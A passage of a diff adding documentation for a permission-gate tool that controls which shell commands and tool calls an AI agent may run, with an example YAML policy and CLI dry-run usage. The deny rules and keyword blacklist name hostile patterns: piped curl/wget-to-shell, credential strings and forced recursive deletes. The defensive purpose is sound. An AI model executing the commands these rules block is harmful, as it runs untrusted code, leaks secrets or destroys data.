those commands are covered by the write-path layer and the blacklist.
|
|
203
|
+
2. **`shared` is static.** It comes from the parser's protected-branch list
|
|
204
|
+
(`PROTECTED_BRANCHES` in `src/parsers/git.ts`: `main` / `master` / `production` / `release` /
|
|
205
|
+
`stable`). It does **not** run `git branch -r --contains` — that would put a subprocess on the
|
|
206
|
+
decision path. Note `shared` and `target` are independent sub-dimensions: with
|
|
207
|
+
`target: ["release*"]`, `release/1.0` satisfies `target` but not `shared` (the protected list
|
|
208
|
+
matches exactly).
|
|
209
|
+
3. **AND across sub-dimensions, OR within each**; any one of several simple commands
|
|
210
|
+
(pipeline / `&&`) may satisfy it.
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## 5. Complete example
|
|
215
|
+
|
|
216
|
+
```yaml
|
|
217
|
+
defaultAction: ask
|
|
218
|
+
|
|
219
|
+
deny:
|
|
220
|
+
# Credential material in a command (P0 hard-deny also backs this up)
|
|
221
|
+
- tools: [shell, pwsh]
|
|
222
|
+
params:
|
|
223
|
+
command: ["*AWS_SECRET*", "*PRIVATE KEY*"]
|
|
224
|
+
reason: "credential material in command"
|
|
225
|
+
|
|
226
|
+
# Download-and-execute via a pipe
|
|
227
|
+
- argv:
|
|
228
|
+
pipeline: ["curl*|sh", "wget*|bash"]
|
|
229
|
+
reason: "piped download-and-execute"
|
|
230
|
+
|
|
231
|
+
# Push to a protected branch (the distinction `args` can not make:
|
|
232
|
+
# the same tokens on a checkout do not match)
|
|
233
|
+
- command: [git]
|
|
234
|
+
args: [push]
|
|
235
|
+
branch:
|
|
236
|
+
target: [main, master, "release*"]
|
|
237
|
+
shared: true
|
|
238
|
+
reason: "push to a protected branch"
|
|
239
|
+
|
|
240
|
+
# Forced recursive delete in production
|
|
241
|
+
- command: [rm#recursive, rm#force]
|
|
242
|
+
when:
|
|
243
|
+
env:
|
|
244
|
+
NODE_ENV: ["production"]
|
|
245
|
+
reason: "recursive force delete in production"
|
|
246
|
+
|
|
247
|
+
allow:
|
|
248
|
+
# Common read-only queries
|
|
249
|
+
- tools: [read, grep, glob]
|
|
250
|
+
reason: "read-only workspace queries"
|
|
251
|
+
|
|
252
|
+
# Common dev hosts
|
|
253
|
+
- network:
|
|
254
|
+
domains: [github.com, "*.githubusercontent.com"]
|
|
255
|
+
schemes: [https]
|
|
256
|
+
reason: "common dev hosts"
|
|
257
|
+
|
|
258
|
+
ask:
|
|
259
|
+
# Push needs confirmation (note: args is OR, so this only requires `push` to appear)
|
|
260
|
+
- command: [git]
|
|
261
|
+
args: ["push"]
|
|
262
|
+
reason: "git push requires confirmation"
|
|
263
|
+
```
|
|
264
|
+
|
|
265
|
+
The same sample ships with the package: `examples/permissions.example.yaml`.
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
## 6. Pairing with the CLI dry-run
|
|
270
|
+
|
|
271
|
+
Dry-run before you go live:
|
|
272
|
+
|
|
273
|
+
```powershell
|
|
274
|
+
# List the compiled rules (default action, rule count, permissive-strategy snapshot)
|
|
275
|
+
dsh-perm-gate --rules permissions.yaml --list
|
|
276
|
+
|
|
277
|
+
# Evaluate one call (--args is JSON; short values can be inlined)
|
|
278
|
+
dsh-perm-gate --rules permissions.yaml --tool read --args "{\"file_path\":\"src/index.ts\"}"
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
The output is JSON: `decision` (`allow` / `ask` / `deny`), `reason`, `audited`.
|
|
282
|
+
|
|
283
|
+
**Two gotchas worth knowing**:
|
|
284
|
+
|
|
285
|
+
1. **The blacklist fires before your rules.** The `deny-keyword` layer runs ahead of the `deny:`
|
|
286
|
+
partition, so preset words like `rm -rf` or `push --force` are vetoed before your rules are
|
|
287
|
+
consulted — a `deny-keyword:` prefix in the dry-run output means that layer decided, not your rule.
|
|
288
|
+
2. **Long quoted arguments get re-parsed by PowerShell** (you may see
|
|
289
|
+
`--args must be valid JSON`). Safe options: write the JSON to a file and pass
|
|
290
|
+
`--args (Get-Content -Raw args.json)`, or lean on the dimension coverage in
|
|
291
|
+
`test/rule-dims.spec.ts` and `test/evaluate.spec.ts`.
|
|
292
|
+
|
|
293
|
+
The CLI and the runtime share one decision engine (`evaluate.ts` + `engine.ts`), so its output is
|
|
294
|
+
the real verdict.
|